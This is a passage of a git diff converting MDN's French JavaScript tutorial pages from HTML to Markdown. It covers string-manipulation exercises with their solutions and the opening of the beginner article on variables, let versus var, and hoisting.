var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; @@ -293,42 +327,39 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar greetings = [\'Happy Birthday!\',\n \'Merry Christmas my love\',\n \'A happy Christmas to all the family\',\n \'You\\\'re all I want for Christmas\',\n \'Get well soon\'];\n\nfor(var i = 0; i < greetings.length; i++) {\n var input = greetings[i];\n if(greetings[i].indexOf(\'Christmas\') !== -1) {\n var result = input;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n }\n}'; +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar greetings = [\'Happy Birthday!\',\n \'Merry Christmas my love\',\n \'A happy Christmas to all the family\',\n \'You\\\'re all I want for Christmas\',\n \'Get well soon\'];\n\nfor(var i = 0; i < greetings.length; i++) {\n var input = greetings[i];\n if(greetings[i].indexOf(\'Christmas\') !== -1) {\n var result = input;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n }\n}'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); -</pre> +``` -<p>{{ EmbedLiveSample('Filtrer_des_messages_de_vœux', '100%', 490) }}</p> +{{ EmbedLiveSample('Filtrer_des_messages_de_vœux', '100%', 490) }} -<h3 id="Remettre_les_majuscules">Remettre les majuscules</h3> +### Remettre les majuscules -<p>Dans cet exercice, nous avons des noms des villes du Royaume-Uni, mais les majuscules ne sont pas au bon endroit. Nous souhaitons modifier les noms pour qu'ils soient en minuscules à l'exception de la première lettre qui doit être une majuscule. Une bonne manière de faire ceci :</p> +Dans cet exercice, nous avons des noms des villes du Royaume-Uni, mais les majuscules ne sont pas au bon endroit. Nous souhaitons modifier les noms pour qu'ils soient en minuscules à l'exception de la première lettre qui doit être une majuscule. Une bonne manière de faire ceci : -<ol> - <li>Convertissez la totalité de la chaîne contenue dans la variable <code>input</code> en minuscules et stockez-la dans une nouvelle variable.</li> - <li>Récupérez la première lettre de la chaîne dans cette nouvelle variable et stockez-la dans une autre variable.</li> - <li>En utilisant la dernière variable comme une sous-chaîne, remplacez la première lettre de la chaîne en minuscules par la première lettre de la chaîne en minuscules transformé en majuscules. Stockez le résultat de cette procédure de remplacement dans une autre nouvelle variable.</li> - <li>Changez la valeur de la variable <code>result</code> afin qu'elle soit égale au résultat final plutôt qu'à <code>input</code>.</li> -</ol> +1. Convertissez la totalité de la chaîne contenue dans la variable `input` en minuscules et stockez-la dans une nouvelle variable. +2. Récupérez la première lettre de la chaîne dans cette nouvelle variable et stockez-la dans une autre variable. +3. En utilisant la dernière variable comme une sous-chaîne, remplacez la première lettre de la chaîne en minuscules par la première lettre de la chaîne en minuscules transformé en majuscules. Stockez le résultat de cette procédure de remplacement dans une autre nouvelle variable. +4. Changez la valeur de la variable `result` afin qu'elle soit égale au résultat final plutôt qu'à `input`. -<div class="note"> -<p><strong>Note :</strong> Un conseil — les paramètres des méthodes de chaîne n'ont pas besoin d'être des chaînes, elle peuvent aussi être des variables, ou même des variables avec une méthode invoquée sur elles.</p> -</div> +> **Note :** Un conseil — les paramètres des méthodes de chaîne n'ont pas besoin d'être des chaînes, elle peuvent aussi être des variables, ou même des variables avec une méthode invoquée sur elles. -<pre class="brush: html hidden"><div class="output" style="min-height: 125px;"> +```html hidden +<div class="output" style="min-height: 125px;"> -<ul> +<ul> -</ul> +</ul> -</div> +</div> -<textarea id="code" class="playable-code" style="height: 250px;"> +<textarea id="code" class="playable-code" style="height: 250px;"> var list = document.querySelector('.output ul'); list.innerHTML = ''; var cities = ['lonDon', 'ManCHESTer', 'BiRmiNGHAM', 'liVERpoOL']; -for(var i = 0; i < cities.length; i++) { +for(var i = 0; i < cities.length; i++) { var input = cities[i]; // write your code just below here @@ -337,15 +368,16 @@ for(var i = 0; i < cities.length; i++) { listItem.textContent = result; list.appendChild(listItem); } -</textarea> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Reset"> - <input id="solution" type="button" value="Show solution"> -</div> -</pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; @@ -364,43 +396,42 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar cities = [\'lonDon\', \'ManCHESTer\', \'BiRmiNGHAM\', \'liVERpoOL\'];\n\nfor(var i = 0; i < cities.length; i++) {\n var input = cities[i];\n var lower = input.toLowerCase();\n var firstLetter = lower.slice(0,1);\n var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\n var result = capitalized;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n\n}'; +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar cities = [\'lonDon\', \'ManCHESTer\', \'BiRmiNGHAM\', \'liVERpoOL\'];\n\nfor(var i = 0; i < cities.length; i++) {\n var input = cities[i];\n var lower = input.toLowerCase();\n var firstLetter = lower.slice(0,1);\n var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\n var result = capitalized;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n\n}'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); -</pre> +``` -<p>{{ EmbedLiveSample('Remettre_les_majuscules', '100%', 450) }}</p> +{{ EmbedLiveSample('Remettre_les_majuscules', '100%', 450) }} -<h3 id="Créer_de_nouvelles_chaînes_à_partir_de_morceaux">Créer de nouvelles chaînes à partir de morceaux</h3> +### Créer de nouvelles chaînes à partir de morceaux -<p>Dans ce dernier exercice, le tableau contient un lot de chaînes contenant des informations à propos d'arrêts de train dans le nord de l'Angleterre. Les chaînes sont des éléments de données contenant le code en trois lettres de l'arrêt, suivi par des données lisibles par machine, suivi par un point-virgule, et enfin le nom de la station lisible par un humain. Par exemple :</p> +Dans ce dernier exercice, le tableau contient un lot de chaînes contenant des informations à propos d'arrêts de train dans le nord de l'Angleterre. Les chaînes sont des éléments de données contenant le code en trois lettres de l'arrêt, suivi par des données lisibles par machine, suivi par un point-virgule, et enfin le nom de la station lisible par un humain. Par exemple : -<pre>MAN675847583748sjt567654;Manchester Piccadilly</pre> + MAN675847583748sjt567654;Manchester Piccadilly -<p>Nous voulons extraire le code de la station et son nom, et les associer dans une chaîne avec la structure suivante :</p> +Nous voulons extraire le code de la station et son nom, et les associer dans une chaîne avec la structure suivante : -<pre>MAN: Manchester Piccadilly</pre> + MAN: Manchester Piccadilly -<p>Nous vous recommandons de procéder de la manière suivante :</p> +Nous vous recommandons de procéder de la manière suivante : -<ol> - <li>Extraire le code de trois lettres de la station et le stocker dans une nouvelle variable.</li> - <li>Trouver la position du caractère point-virgule.</li> - <li>Extraire le nom de la station lisible par un humain en utilisant la position du caractère point virgule comme référence, et le stocker dans une nouvelle variable.</li> - <li>Concaténer les deux nouvelles variables et une chaîne pour fabriquer la chaîne finale.</li> - <li>Changer la valeur de la variable <code>result</code> pour qu'elle soit égale à la chaîne finale, plutôt qu'à <code>input</code>.</li> -</ol> +1. Extraire le code de trois lettres de la station et le stocker dans une nouvelle variable. +2. Trouver la position du caractère point-virgule. +3. Extraire le nom de la station lisible par un humain en utilisant la position du caractère point virgule comme référence, et le stocker dans une nouvelle variable. +4. Concaténer les deux nouvelles variables et une chaîne pour fabriquer la chaîne finale. +5. Changer la valeur de la variable `result` pour qu'elle soit égale à la chaîne finale, plutôt qu'à `input`. -<pre class="brush: html hidden"><div class="output" style="min-height: 125px;"> +```html hidden +<div class="output" style="min-height: 125px;"> -<ul> +<ul> -</ul> +</ul> -</div> +</div> -<textarea id="code" class="playable-code" style="height: 285px;"> +<textarea id="code" class="playable-code" style="height: 285px;"> var list = document.querySelector('.output ul'); list.innerHTML = ''; var stations = ['MAN675847583748sjt567654;Manchester Piccadilly', @@ -409,7 +440,7 @@ var stations = ['MAN675847583748sjt567654;Manchester Piccadilly', 'SYB4f65hf75f736463;Stalybridge', 'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield']; -for (var i = 0; i < stations.length; i++) { +for (var i = 0; i < stations.length; i++) { var input = stations[i]; // write your code just below here @@ -418,15 +449,16 @@ for (var i = 0; i < stations.length; i++) { listItem.textContent = result; list.appendChild(listItem); } -</textarea> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Reset"> - <input id="solution" type="button" value="Show solution"> -</div> -</pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; @@ -445,17 +477,17 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar stations = [\'MAN675847583748sjt567654;Manchester Piccadilly\',\n \'GNF576746573fhdg4737dh4;Greenfield\',\n \'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street\',\n \'SYB4f65hf75f736463;Stalybridge\',\n \'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield\'];\n\nfor(var i = 0; i < stations.length; i++) {\n var input = stations[i];\n var code = input.slice(0,3);\n var semiC = input.indexOf(\';\');\n var name = input.slice(semiC + 1);\n var result = code + \': \' + name;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n}'; +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar stations = [\'MAN675847583748sjt567654;Manchester Piccadilly\',\n \'GNF576746573fhdg4737dh4;Greenfield\',\n \'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street\',\n \'SYB4f65hf75f736463;Stalybridge\',\n \'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield\'];\n\nfor(var i = 0; i < stations.length; i++) {\n var input = stations[i];\n var code = input.slice(0,3);\n var semiC = input.indexOf(\';\');\n var name = input.slice(semiC + 1);\n var result = code + \': \' + name;\n var listItem = document.createElement(\'li\');\n listItem.textContent = result;\n list.appendChild(listItem);\n}'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); -</pre> +``` -<p>{{ EmbedLiveSample('Créer_de_nouvelles_chaînes_à_partir_de_morceaux', '100%', 485) }}</p> +{{ EmbedLiveSample('Créer_de_nouvelles_chaînes_à_partir_de_morceaux', '100%', 485) }} -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Il n'est pas possible d'éluder le fait qu'il est très important de savoir manipuler des mots et des phrases lorsqu'on programme — tout particulièrement en JavaScript, dans la mesure où les sites web servent à la communication entre les personnes. Cet article vous a indiqué, pour l'instant, les bases à connaître pour manipuler les chaînes. Ce sera utile lorsque vous aborderez des sujets plus complexes à l'avenir. Pour suivre, nous allons nous intéresser au dernier grand type de données sur lequel nous devons nous concentrer à court terme — les tableaux.</p> +Il n'est pas possible d'éluder le fait qu'il est très important de savoir manipuler des mots et des phrases lorsqu'on programme — tout particulièrement en JavaScript, dans la mesure où les sites web servent à la communication entre les personnes. Cet article vous a indiqué, pour l'instant, les bases à connaître pour manipuler les chaînes. Ce sera utile lorsque vous aborderez des sujets plus complexes à l'avenir. Pour suivre, nous allons nous intéresser au dernier grand type de données sur lequel nous devons nous concentrer à court terme — les tableaux. -<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</p> +{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}} diff --git a/files/fr/learn/javascript/first_steps/variables/index.md b/files/fr/learn/javascript/first_steps/variables/index.md index dacd075396..eee7f25dc7 100644 --- a/files/fr/learn/javascript/first_steps/variables/index.md +++ b/files/fr/learn/javascript/first_steps/variables/index.md @@ -3,51 +3,59 @@ title: Stocker les informations nécessaires — les variables slug: Learn/JavaScript/First_steps/Variables translation_of: Learn/JavaScript/First_steps/Variables --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}} -<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps")}}</div> - -<p>Après lecture des deux articles précédents, vous savez maintenant ce qu'est JavaScript, ce qu'il peut vous apporter, comment l'utiliser aux côtés d'autres technologies web et l'aspect de ses principales fonctionnalités vues de haut. Dans cet article, nous revenons aux fondements réels en examinant comment travailler avec le bloc de construction le plus basique du JavaScript — les variables.</p> +Après lecture des deux articles précédents, vous savez maintenant ce qu'est JavaScript, ce qu'il peut vous apporter, comment l'utiliser aux côtés d'autres technologies web et l'aspect de ses principales fonctionnalités vues de haut. Dans cet article, nous revenons aux fondements réels en examinant comment travailler avec le bloc de construction le plus basique du JavaScript — les variables. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Se familiariser avec l'usage élémentaire des variables en JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vocabulaire courant de l'informatique, bases de HTML et CSS, + compréhension de ce que fait JavaScript. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Se familiariser avec l'usage élémentaire des variables en JavaScript. + </td> + </tr> + </tbody> </table> -<h2 id="Outils_nécessaires">Outils nécessaires</h2> +## Outils nécessaires -<p>Tout au long de cet article, on vous demandera de saisir des lignes de code pour tester votre compréhension. Si vous vous servez du navigateur avec un ordinateur de bureau, l'endroit le plus approprié pour saisir les exemples de code est la console JavaScript du navigateur (voyez <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">Les outils de développement du navigateur</a> pour plus d'informations sur la manière d'accéder à ces outils).</p> +Tout au long de cet article, on vous demandera de saisir des lignes de code pour tester votre compréhension. Si vous vous servez du navigateur avec un ordinateur de bureau, l'endroit le plus approprié pour saisir les exemples de code est la console JavaScript du navigateur (voyez [Les outils de développement du navigateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) pour plus d'informations sur la manière d'accéder à ces outils). -<p>Toutefois, nous avons aussi incorporé une console JavaScript dans cette page pour vous permettre d'y écrire le code au cas où vous n'utiliseriez pas un navigateur avec une console JavaScript facilement accessible, ou si vous estimez qu'une console incorporée est plus confortable.</p> +Toutefois, nous avons aussi incorporé une console JavaScript dans cette page pour vous permettre d'y écrire le code au cas où vous n'utiliseriez pas un navigateur avec une console JavaScript facilement accessible, ou si vous estimez qu'une console incorporée est plus confortable. -<h2 id="Quest_ce_quune_variable">Qu'est ce qu'une variable ?</h2> +## Qu'est ce qu'une variable ? -<p>Une variable est un conteneur pour une valeur, tel un nombre à utiliser pour une addition, ou une chaîne devant faire partie d'une phrase. Mais un aspect spécial des variables est que les valeurs contenues peuvent changer. Voyons un exemple simple :</p> +Une variable est un conteneur pour une valeur, tel un nombre à utiliser pour une addition, ou une chaîne devant faire partie d'une phrase. Mais un aspect spécial des variables est que les valeurs contenues peuvent changer. Voyons un exemple simple : -<pre class="brush: html"><button>Pressez moi</button></pre> +```html +<button>Pressez moi</button> +``` -<pre class="brush: js">const button = document.querySelector('button'); +```js +const button = document.querySelector('button'); button.onclick = function() { let name = prompt('Quel est votre nom ?'); alert('Salut ' + name + ', sympa de vous voir !'); -}</pre> +} +``` -<p>{{ EmbedLiveSample('Quest_ce_quune_variable', '100%', 50) }}</p> +{{ EmbedLiveSample('Quest_ce_quune_variable', '100%', 50) }} -<p>Dans cet exemple, presser le bouton déclenche l'exécution de quelques lignes de code. La première ligne affiche à l'écran une boîte priant l'utilisateur de saisir son nom et stocke la valeur entrée dans une variable. La deuxième affiche un message de bienvenue avec la valeur de la variable.</p> +Dans cet exemple, presser le bouton déclenche l'exécution de quelques lignes de code. La première ligne affiche à l'écran une boîte priant l'utilisateur de saisir son nom et stocke la valeur entrée dans une variable. La deuxième affiche un message de bienvenue avec la valeur de la variable. -<p>Pour comprendre le pratique de la chose, imaginons comment nous aurions du coder cet exemple sans utiliser de variable. Serait-ce comme cela ?</p> +Pour comprendre le pratique de la chose, imaginons comment nous aurions du coder cet exemple sans utiliser de variable. Serait-ce comme cela ? -<pre class="example-bad">let name = prompt('Quel est votre nom ?'); +```plain example-bad +let name = prompt('Quel est votre nom ?'); if (name === 'Adam') { alert('Salut Adam, sympa de vous voir !'); @@ -61,35 +69,37 @@ if (name === 'Adam') { alert('Salut Chris, sympa de vous voir !'); } -// ... etc.</pre> +// ... etc. +``` -<p>Peut-être ne comprenez‑vous pas (encore !) la syntaxe utilisée, mais vous l'imaginerez sans peine — si nous n'avions pas de variables à disposition, nous devrions implémenter un bloc de code géant qui vérifierait quel était le nom saisi, puis afficherait un message approprié à ce nom. Cela est évidemment inefficace (le code est déjà plus volumineux avec seulement quatre possibilités) et il ne fonctionnerait certainement pas — il n'est pas possible de stocker tous les choix possibles.</p> +Peut-être ne comprenez‑vous pas (encore !) la syntaxe utilisée, mais vous l'imaginerez sans peine — si nous n'avions pas de variables à disposition, nous devrions implémenter un bloc de code géant qui vérifierait quel était le nom saisi, puis afficherait un message approprié à ce nom. Cela est évidemment inefficace (le code est déjà plus volumineux avec seulement quatre possibilités) et il ne fonctionnerait certainement pas — il n'est pas possible de stocker tous les choix possibles. -<p>Les variables sont essentielles et à mesure que vous en apprendrez plus sur JavaScript, elles deviendront une seconde nature pour vous.</p> +Les variables sont essentielles et à mesure que vous en apprendrez plus sur JavaScript, elles deviendront une seconde nature pour vous. -<p>Une autre particularité des variables : elle peuvent contenir pratiquement de tout — pas uniquement des chaînes ou des nombres. Elles peuvent aussi contenir des données complexes et même des fonctions, ce qui permet de réaliser des choses étonnantes. Vous en apprendrez plus à ce propos au long de ce parcours.</p> +Une autre particularité des variables : elle peuvent contenir pratiquement de tout — pas uniquement des chaînes ou des nombres. Elles peuvent aussi contenir des données complexes et même des fonctions, ce qui permet de réaliser des choses étonnantes. Vous en apprendrez plus à ce propos au long de ce parcours. -<div class="note"> -<p><strong>Note :</strong> Nous disons que les variables contiennent des valeurs. C'est un distingo important. Les variables ne sont pas les valeurs elles‑mêmes : ce sont des conteneurs pour ces valeurs. Vous pouvez vous les représenter comme une boîte en carton dans laquelle il est possible de ranger des choses.</p> -</div> +> **Note :** Nous disons que les variables contiennent des valeurs. C'est un distingo important. Les variables ne sont pas les valeurs elles‑mêmes : ce sont des conteneurs pour ces valeurs. Vous pouvez vous les représenter comme une boîte en carton dans laquelle il est possible de ranger des choses. -<p><img alt="" src="boxes.png"></p> + -<h2 id="Déclarer_une_variable">Déclarer une variable</h2> +## Déclarer une variable -<p>Avant de se servir d'une variable, il faut d'abord la créer — plus précisément, nous disons <em>déclarer la variable</em>. Pour ce faire, nous saisissons le mot‑clé <code>var</code> ou <code>let</code> suivi du nom que vous voulez donner à la variable :</p> +Avant de se servir d'une variable, il faut d'abord la créer — plus précisément, nous disons _déclarer la variable_. Pour ce faire, nous saisissons le mot‑clé `var` ou `let` suivi du nom que vous voulez donner à la variable : -<pre class="brush: js">let myName; -let myAge;</pre> +```js +let myName; +let myAge; +``` -<p>Dans ces lignes, nous venons de créer deux variables nommées respectivement <code>myName</code> et <code>myAge</code>. Saisissez les maintenant dans la console de votre navigateur, ou dans la console au bas de la page (Vous <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">ouvrez cette console</a> soit dans un onglet séparé, soit dans une fenêtre selon votre préférence). Après cela, essayez de créer une variable (ou deux) en choisissant vous même le nom.</p> +Dans ces lignes, nous venons de créer deux variables nommées respectivement `myName` et `myAge`. Saisissez les maintenant dans la console de votre navigateur, ou dans la console au bas de la page (Vous [ouvrez cette console](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html) soit dans un onglet séparé, soit dans une fenêtre selon votre préférence). Après cela, essayez de créer une variable (ou deux) en choisissant vous même le nom. -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>JavaScript console</title> - <style> +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>JavaScript console</title> + <style> * { box-sizing: border-box; } @@ -137,14 +147,14 @@ let myAge;</pre> clear: both; } - </style> - </head> - <body> + </style> + </head> + <body> - </body> + </body> - <script> + <script> var geval = eval; function createInput() { var inputDiv = document.createElement('div'); @@ -152,12 +162,12 @@ let myAge;</pre> var inputForm = document.createElement('input'); inputDiv.setAttribute('class','input'); - inputPara.textContent = '>'; + inputPara.textContent = '>'; inputDiv.appendChild(inputPara); inputDiv.appendChild(inputForm); document.body.appendChild(inputDiv); - if(document.querySelectorAll('div').length > 1) { + if(document.querySelectorAll('div').length > 1) { inputForm.focus(); } @@ -187,57 +197,65 @@ let myAge;</pre> createInput(); - </script> -</html></pre> + </script> +</html> +``` -<p>{{ EmbedLiveSample('Déclarer_une_variable', '100%', 300) }}</p> +{{ EmbedLiveSample('Déclarer_une_variable', '100%', 300) }} -<div class="note"> -<p><strong>Note :</strong> En JavaScript, le code de toute instruction doit se terminer par un point‑virgule (<code>;</code>) — il peut fonctionner correctement sans ce point‑virgule pour des lignes isolées, mais ce ne sera probablement pas le cas si vous écrivez plusieurs lignes de code ensemble. Prenez l'habitude de mettre ce point‑virgule.</p> -</div> +> **Note :** En JavaScript, le code de toute instruction doit se terminer par un point‑virgule (`;`) — il peut fonctionner correctement sans ce point‑virgule pour des lignes isolées, mais ce ne sera probablement pas le cas si vous écrivez plusieurs lignes de code ensemble. Prenez l'habitude de mettre ce point‑virgule. -<p>Vous pouvez maintenant tester si ces valeurs existent dans l'environnement d'exécution en saisissant simplement le nom de ces variables, par exemple</p> +Vous pouvez maintenant tester si ces valeurs existent dans l'environnement d'exécution en saisissant simplement le nom de ces variables, par exemple -<pre class="brush: js">myName; -myAge;</pre> +```js +myName; +myAge; +``` -<p>Actuellement elles ne contiennent aucune valeur ; ce sont des conteneurs vides. Quand vous entrez les noms des variables, vous obtiendrez la valeur <code>undefined</code> en retour. Si elles n'existent pas, vous aurez un message d'erreur — essayez en saisissant</p> +Actuellement elles ne contiennent aucune valeur ; ce sont des conteneurs vides. Quand vous entrez les noms des variables, vous obtiendrez la valeur `undefined` en retour. Si elles n'existent pas, vous aurez un message d'erreur — essayez en saisissant -<pre class="brush: js">scoobyDoo;</pre> +```js +scoobyDoo; +``` -<div class="note"> -<p><strong>Note :</strong> Ne confondez pas une variable qui existe mais sans valeur définie avec une variable qui n'existe pas du tout — ce sont deux choses tout à fait différentes. Dans l'analogie des boîtes, <em>ne pas exister</em> correspond à l'absence de boîte ; <em>valeur indéfinie</em> correspond à une boîte vide.</p> -</div> +> **Note :** Ne confondez pas une variable qui existe mais sans valeur définie avec une variable qui n'existe pas du tout — ce sont deux choses tout à fait différentes. Dans l'analogie des boîtes, _ne pas exister_ correspond à l'absence de boîte ; *valeur indéfinie* correspond à une boîte vide. -<h2 id="Initialisation_dune_variable">Initialisation d'une variable</h2> +## Initialisation d'une variable -<p>Une fois la variable déclarée, vous pouvez l'initialiser avec une valeur. On réalise cela en saisissant le nom de la variable, suivi d'un signe égale (<code>=</code>), lui-même suivi de la valeur souhaitée pour la variable. Par exemple :</p> +Une fois la variable déclarée, vous pouvez l'initialiser avec une valeur. On réalise cela en saisissant le nom de la variable, suivi d'un signe égale (`=`), lui-même suivi de la valeur souhaitée pour la variable. Par exemple : -<pre class="brush: js">myName = 'Chris'; -myAge = 37;</pre> +```js +myName = 'Chris'; +myAge = 37; +``` -<p>Revenez à la console maintenant et saisissez‑y ces deux lignes. Constatez que la console renvoie en confirmation la valeur assignée à la variable dans chaque cas. Vous pouvez, à nouveau, faire renvoyer par la console les valeurs de variable en saisissant simplement son nom dans la console — essayez encore :</p> +Revenez à la console maintenant et saisissez‑y ces deux lignes. Constatez que la console renvoie en confirmation la valeur assignée à la variable dans chaque cas. Vous pouvez, à nouveau, faire renvoyer par la console les valeurs de variable en saisissant simplement son nom dans la console — essayez encore : -<pre class="brush: js">myName; -myAge;</pre> +```js +myName; +myAge; +``` -<p>Il est possible de déclarer et initialiser une variable en même temps, comme ceci :</p> +Il est possible de déclarer et initialiser une variable en même temps, comme ceci : -<pre class="brush: js">let myDog = 'Rover';</pre> +```js +let myDog = 'Rover'; +``` -<p>C'est probablement ce que vous ferez la plupart du temps, c'est plus rapide que d'effectuer ces deux actions sur deux lignes distinctes.</p> +C'est probablement ce que vous ferez la plupart du temps, c'est plus rapide que d'effectuer ces deux actions sur deux lignes distinctes. -<h2 id="La_différence_entre_var_et_let">La différence entre <code>var</code> et <code>let</code></h2> +## La différence entre `var` et `let` -<p>A ce moment de votre apprentissage, vous vous demandez sans doute : mais quel besoin de deux mot-clé pour définir une variable ? Pourquoi <code>var</code> et <code>let</code> ?</p> +A ce moment de votre apprentissage, vous vous demandez sans doute : mais quel besoin de deux mot-clé pour définir une variable ? Pourquoi `var` et `let` ? -<p>Les raisons sont d'ordre historique. A l'origine, quand Javascript fut créé, il n'y avait que <code>var</code>. Cela fonctionnait plutôt bien dans la plupart des cas, avec parfois quelques surprises -- l'implémentation étonnante du <code>var</code> peut amener à une mauvaise interprétation, voire à des soucis. Ainsi, <code>let</code> a été ajouté dans les versions plus récentes de Javascript, un nouveau mot-clé pour créer des variables, avec un fonctionnement différent de celui du <code>var</code>, réglant ainsi les difficultés évoquées ci-dessus.</p> +Les raisons sont d'ordre historique. A l'origine, quand Javascript fut créé, il n'y avait que `var`. Cela fonctionnait plutôt bien dans la plupart des cas, avec parfois quelques surprises -- l'implémentation étonnante du `var` peut amener à une mauvaise interprétation, voire à des soucis. Ainsi, `let` a été ajouté dans les versions plus récentes de Javascript, un nouveau mot-clé pour créer des variables, avec un fonctionnement différent de celui du `var`, réglant ainsi les difficultés évoquées ci-dessus. -<p>Nous évoquons ci-dessous quelques unes de ces différences, sans pouvoir faire ici le tour complet de la question. Vous comprendrez mieux la différence entre ces deux constructions au fur et à mesure de votre progression en JavaScript (si vous ne pouvez pas attendre, consultez la page de référence du <code>let</code>). </p> +Nous évoquons ci-dessous quelques unes de ces différences, sans pouvoir faire ici le tour complet de la question. Vous comprendrez mieux la différence entre ces deux constructions au fur et à mesure de votre progression en JavaScript (si vous ne pouvez pas attendre, consultez la page de référence du `let`). -<p>Pour commencer, si vous écrivez un programme JavaScript multi-lignes qui déclare et initialise une variable, vous pouvez déclarez une variable avec le mot-clé <code>var</code> après l'avoir initialisée. Cela fonctionnera. Par exemple :</p> +Pour commencer, si vous écrivez un programme JavaScript multi-lignes qui déclare et initialise une variable, vous pouvez déclarez une variable avec le mot-clé `var` après l'avoir initialisée. Cela fonctionnera. Par exemple : -<pre class="brush: js">myName = 'Chris'; +```js +myName = 'Chris'; function logName(){ console.log(myName); @@ -246,76 +264,79 @@ function logName(){ logName(); var myName; -</pre> +``` -<div class="note"> -<p><strong>Note :</strong> l'exemple ci-dessus ne fonctionnera pas si on tape des lignes une à une dans la console, mais seulement quand on exécute un script JavaScript multi-lignes dans un document web.</p> -</div> +> **Note :** l'exemple ci-dessus ne fonctionnera pas si on tape des lignes une à une dans la console, mais seulement quand on exécute un script JavaScript multi-lignes dans un document web. -<p>Ce processus se nomme <strong>«</strong> <strong>hoisting »</strong> (en français, "hissage") — lisez <a href="/fr/docs/Web/JavaScript/Reference/Statements/var#var_hoisting">var hoisting</a> pour plus de précisions sur ce sujet.</p> +Ce processus se nomme **«** **hoisting »** (en français, "hissage") — lisez [var hoisting](/fr/docs/Web/JavaScript/Reference/Statements/var#var_hoisting) pour plus de précisions sur ce sujet. -<p>Le hissage ne fonctionne plus avec <code>let</code>. Si on remplaçait var par let dans l'exemple ci-dessus, l'exécution du script planterait sur une erreur. C'est une bonne chose — déclarer une variable après l'avoir initialisé produit un code obscur, difficile à lire.</p> +Le hissage ne fonctionne plus avec `let`. Si on remplaçait var par let dans l'exemple ci-dessus, l'exécution du script planterait sur une erreur. C'est une bonne chose — déclarer une variable après l'avoir initialisé produit un code obscur, difficile à lire. -<p>Deuxièmement, quand vous utilisez <code>var</code>, vous pouvez déclarer la même variable autant de fois que vous le désirez, avec <code>let</code> c'est impossible. Le code suivant s'exécute sans erreur :</p> +Deuxièmement, quand vous utilisez `var`, vous pouvez déclarer la même variable autant de fois que vous le désirez, avec `let` c'est impossible. Le code suivant s'exécute sans erreur : -<pre class="brush: js">var myName = 'Chris'; +```js +var myName = 'Chris'; var myName = 'Bob'; -</pre> +``` -<p> Celui là produit une erreur sur la seconde ligne :</p> +Celui là produit une erreur sur la seconde ligne : -<pre class="brush: js">let myName = 'Chris'; +```js +let myName = 'Chris'; let myName = 'Bob'; -</pre> +``` -<p>Le code correct serait :</p> +Le code correct serait : -<pre class="brush: js">let myName = 'Chris' ; +```js +let myName = 'Chris' ; -myName = 'Bob' ;</pre> +myName = 'Bob' ; +``` -<p>Encore une fois, c'est une décision sensée des concepteurs du langage. Il n'y a aucune bonne raison de redéclarer une variable — cela rend les choses obscures.</p> +Encore une fois, c'est une décision sensée des concepteurs du langage. Il n'y a aucune bonne raison de redéclarer une variable — 